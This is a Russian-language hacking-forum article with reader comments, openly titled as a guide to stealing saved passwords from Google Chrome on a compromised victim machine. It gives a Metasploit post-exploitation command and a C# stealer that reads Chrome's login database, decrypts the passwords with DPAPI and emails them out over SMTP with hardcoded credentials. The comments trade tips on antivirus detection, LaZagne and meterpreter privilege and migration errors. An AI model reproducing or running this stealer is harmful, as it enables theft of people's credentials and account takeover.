Статья Воруем пароли из Google Chrome

Ave Caesars, morituri te salutant! И снова здрасте. Почему я вспомнил Цезаря? Потому что как гладиаторы, что бились во имя его, мы сегодня пойдем в борьбу за пароли гугл хрома во славу Хека.

Как и в любой моей статье будет личный профит и разработка. Ну обо всем по порядку……..

Итак, что мы хотим? Допустим, нам удалось каким либо образом похекать компутер жертвы, это здорово, но мы хотим, разумеется его аккаунт на форуме Кодеби, чтобы почитать приватики. Юзверь оказался неПальцемДеланный и использует разные пароли от разных ресурсов.

Давайте же посмотрим, как мы можем вытащить эти пароли мощью прекрасного метерпретера.
Каким либо образом получаем сессию метерпретера
upload_2017-1-23_0-34-44.png

А далее используем следующий модуль
Код:
run post/windows/gather/enum_chrome
upload_2017-1-23_0-36-3.png

После чего смотрим исходный файл
Код:
cat /root/.msf4/loot/20170122102848_default_192.168.1.222_chrome.decrypted_217283.txt
upload_2017-1-23_0-36-42.png


Ура джедайская сила метeрпретера справилась с поставленной задачей и вывело нам логин и пароль hac126@narod.ru:hac126@narod.ru

Ну это было бы слишком просто для статьи. А что если у нас нет метерпретера?
Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту.
Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа.

Мастер – ключ - это комбинация следующих элементов:
  • SID — уникальный идентификатор безопасности.
  • HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений).
  • PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей.
  • MasterKey BLOB — это как раз данные с зашифрованным ключом.
Подробнее почитать тут

Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы.
Давайте напишем такой стиллер.
Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код:
Код:
string fileDb = @"C:\Users\Codeby\AppData\Local\Google\Chrome\User Data\Default\Login Data"; // Путь к логин данным
string connectionString = $"Data Source = {fileDb}";
string fileName = @"C:\Temp\output.txt"; // Выходной файл с паролями
StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8);
string dbWay = "Login Data";
string db_fields = "logins"; // база паролей SQLITE
byte[] entropy = null;
string description;

DataTable db = new DataTable();
            string sql = $"SELECT * FROM {db_fields}";
            using (SQLiteConnection connection = new SQLiteConnection(connectionString))
            {
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
                adapter.Fill(db);
            }

            int rows = db.Rows.Count;
            Console.WriteLine($"Всего записей: {rows}");

            for (int i = 0; i < rows; i++)
            {
                string url = db.Rows[i][1].ToString();
                string login = db.Rows[i][3].ToString();
                byte[] byteArray = (byte[])db.Rows[i][5];
                byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                string password = new UTF8Encoding(true).GetString(decrypted);
                sw.WriteLine("----------------------------");
                sw.WriteLine($"Номер: {i}");
                sw.WriteLine($"Сайт: {url}");
                sw.WriteLine($"Логин: {login}");
                sw.WriteLine($"Пароль: {password}");
            }
            sw.Close();

            MailSend.SendMail("smtp.mail.ru", "codeby1@mail.ru", "123qweasd", "hac126@ya.ru", "Пароли", fileName, fileName);
            Console.ReadKey();

Код класса DPAPI Взят отсюда
Код отправки сообщений на шарпе приводится не будет в целях безопасности.
В итоге получаем профит.
upload_2017-1-23_0-42-5.png


upload_2017-1-23_0-42-25.png


Всем спасибо. Видосик.

 
Я пробовал, допустим на машине Windows server 2008 нихрена не получается. Просто открывается и закрывается. На 10ке нормально брало. Не пойму с чем это связано. Наверное потому что питоновского интерпретатора нет..
[doublepost=1510147467,1510147432][/doublepost]
и он палится жестко .. ) АВшками

Эммм... А зачем там итерпретатор,если есть скомпилированный экзешник ? ) У меня тоже не на всех машинах срабатывало,не знаю с чем связано. Возможно как то завязано на права.

Когда я тестировал был детект не более 5.. Сейчас 14 из 38. А вообще я думаю не проблема ушатать все средства защиты,если есть сессия на машине :)
 
  • Нравится
Реакции: OneDollar
Спасибо! Вот бы для др браузеров Yandex и Opera пример, либо универсал с запуском параметра по выбору браузера.
 
Спасибо! Вот бы для др браузеров Yandex и Opera пример, либо универсал с запуском параметра по выбору браузера.

Так вроде LaZagne с параметром all тащит всё,что найдёт из всех браузеров. Если добавить -oN - запишет всё в txt файлик. Так же присутствуют параметры для выбора определенного браузера
 
Так вроде LaZagne с параметром all тащит всё,что найдёт из всех браузеров. Если добавить -oN - запишет всё в txt файлик. Так же присутствуют параметры для выбора определенного браузера
Не везде почему-то работает и любой антивирус ему в рыло дает:(
 
Не везде почему-то работает и любой антивирус ему в рыло дает:(

Есть такое дело )

Кстати интересное наблюдение: аваст блокирует сессию MT сразу,а каспер пропускает,только уведомляет пользователя от вредоносе )
 
Это пожалуй единственное преимущество Аваста над Касперским.. )
 
  • Нравится
Реакции: woolf1514
Специалисты, помогите ) Уже бомболейла прост. Короче везде все берет, кроме вин 10. На скрине видно что права есть, я специально главные команды заскринил, чтобы не говорили что нет прав) Короче после этого даже элементарные команды не пашут и права какашки, ну как так-то ?) 3 и 4 скрин миграция в explorer, но уже другие ошибки
upload_2017-11-26_18-45-35.png

upload_2017-11-26_18-46-55.png



Тут при перемещении в explorer (P.S. такое только с 10-кой)
upload_2017-11-26_18-52-29.png


upload_2017-11-26_18-52-53.png
 
Специалисты, помогите ) Уже бомболейла прост. Короче везде все берет, кроме вин 10. На скрине видно что права есть, я специально главные команды заскринил, чтобы не говорили что нет прав) Короче после этого даже элементарные команды не пашут и права какашки, ну как так-то ?) 3 и 4 скрин миграция в explorer, но уже другие ошибки

как решил проблему?, тоже такая же ошибка как на первых двух скринах, только в windows 7 . и после этого, сразу права падают, даже простой getuid не работает.
 
Последнее редактирование:
как решил проблему?, тоже такая же ошибка как на первых двух скринах, только в windows 7 . и после этого, сразу права падают, даже простой getuid не работает.
через пару часиков развернутый комент дам. Кстати на 7 рке пробовал в explorer мигрировать? У меня с ней не было проблем.
 
Последнее редактирование модератором:
получил сессию,
сделал getsystem
и после этого пробовал run post/windows/gather/enum_chrome
 
Тоже сейчас пробую получить привелегии на метерпретере (вин10) при миграции в експлорер тоже ошибка
*] Current session process is powershell.exe (7192) as: DEXP\����
[*] Session has User level rights.
[*] Will attempt to migrate to a User level process.
[*] Trying explorer.exe (4456)
[-] Could not migrate to explorer.exe.
[-] No response was received to the core_enumextcmd request.
[*] Attempting to spawn explorer.exe
[-] Post interrupted by the console user
meterpreter >
 
сделал pgrep explorer
выдал 1600
затем написал migrate 1600

закончилось все ошибкой: Error running command migrate: Rex:: TimeoutError Operation timed out
Тоже сейчас пробую получить привелегии на метерпретере (вин10) при миграции в експлорер тоже ошибка
*] Current session process is powershell.exe (7192) as: DEXP\����
Session has User level rights.
Will attempt to migrate to a User level process.
Trying explorer.exe (4456)
[-] Could not migrate to explorer.exe.
[-] No response was received to the core_enumextcmd request.
Attempting to spawn explorer.exe
[-] Post interrupted by the console user
meterpreter >

Смотрите эту статью и читайте в коментах продолжение. ТЫК
 
Код:
use exploit/multi/handler
создает .exe для meterpreter?
но прежде всего тот самый .exe необходимо закинуть на целевую машину?
я правильно понимаю?
 
Скрин не прикрепляется вот ссылка
С хромом такой ситуации не возникает, вот эта ошибка вылазит когда пишу путь до файла Оперы, если открывать в SQLITE файл от хрома то все отлично там всем отображается, а вот если открывать файл от Оперы, то он требует пароль.
 
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!